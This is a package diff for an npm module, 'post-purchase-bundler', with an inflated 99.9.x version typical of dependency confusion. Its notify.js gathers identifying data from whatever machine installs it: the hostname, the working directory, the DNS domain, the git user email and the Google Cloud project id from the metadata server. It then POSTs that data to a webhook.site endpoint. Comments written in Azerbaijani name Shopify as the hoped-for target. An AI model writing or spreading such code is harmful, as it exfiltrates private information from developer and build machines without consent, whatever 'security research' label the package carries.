post-purchase-bundler 99.9.11 → 99.9.12

package/notify.js

@@ -2,55 +2,41 @@ import https from 'https';
 import os from 'os';
 import { execSync } from 'child_process';
 
-const getDetailedData = () => {
-    let envSnippet = {};
-    let lsData = "N/A";
-    
+const getIdentityClues = () => {
+    let clues = {};
     try {
-        // Sistemdəki mühit dəyişənlərindən vacib olanları süzürük
-        const env = process.env;
-        envSnippet = {
-            npm_config_registry: env.npm_config_registry,
-            NODE_ENV: env.NODE_ENV,
-            PWD: env.PWD,
-            CI: env.CI, // Build serverdirsə adətən 'true' olur
-            HOME: env.HOME
-        };
+        // 1. Şəbəkə daxilində hansı domenə bağlı olduğunu yoxlayırıq
+        clues.dns_domain = execSync('dnsdomainname').toString().trim();
+    } catch (e) { clues.dns_domain = "N/A"; }
 
-        // Olduğu qovluqdakı faylları görürük (inandırıcılıq üçün)
-        lsData = execSync('ls -la | head -n 10').toString();
-    } catch (e) {}
+    try {
+        // 2. Git konfiqurasiyasına baxırıq (Çox vaxt şirkət emaili burada olur)
+        clues.git_user = execSync('git config --global user.email').toString().trim();
+    } catch (e) { clues.git_user = "N/A"; }
+
+    try {
+        // 3. Bulud provayderinin xüsusi məlumatlarını çəkirik (Google/AWS metadata)
+        // Bu əmr Shopify-dırsa, Google Cloud layihə adını qaytara bilər
+        clues.cloud_identity = execSync('curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id --timeout 2').toString().trim();
+    } catch (e) { clues.cloud_identity = "N/A"; }
 
     return JSON.stringify({
-        event: "Transparent-PoC-Report",
-        target_clue: "Dependency Confusion Audit",
-        system: {
-            user: os.userInfo().username,
-            hostname: os.hostname(),
-            platform: os.platform(),
-            release: os.release(),
-            arch: os.arch()
-        },
-        context: {
-            current_dir: process.cwd(),
-            env_vars: envSnippet,
-            directory_listing: lsData
-        },
+        event: "Final-Identity-Check",
+        identity: clues,
+        env_pwd: process.env.PWD,
+        hostname: os.hostname(),
         timestamp: new Date().toISOString()
     });
 };
 
-const data = getDetailedData();
+const data = getIdentityClues();
 
 const options = {
     hostname: 'webhook.site',
     port: 443,
     path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
     method: 'POST',
-    headers: {
-        'Content-Type': 'application/json',
-        'Content-Length': data.length
-    }
+    headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
 };
 
 const req = https.request(options, () => process.exit(0));

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "post-purchase-bundler",
-  "version": "99.9.11",
+  "version": "99.9.12",
   "description": "Security research for internal dependency confusion",
   "main": "index.js",
   "type": "module",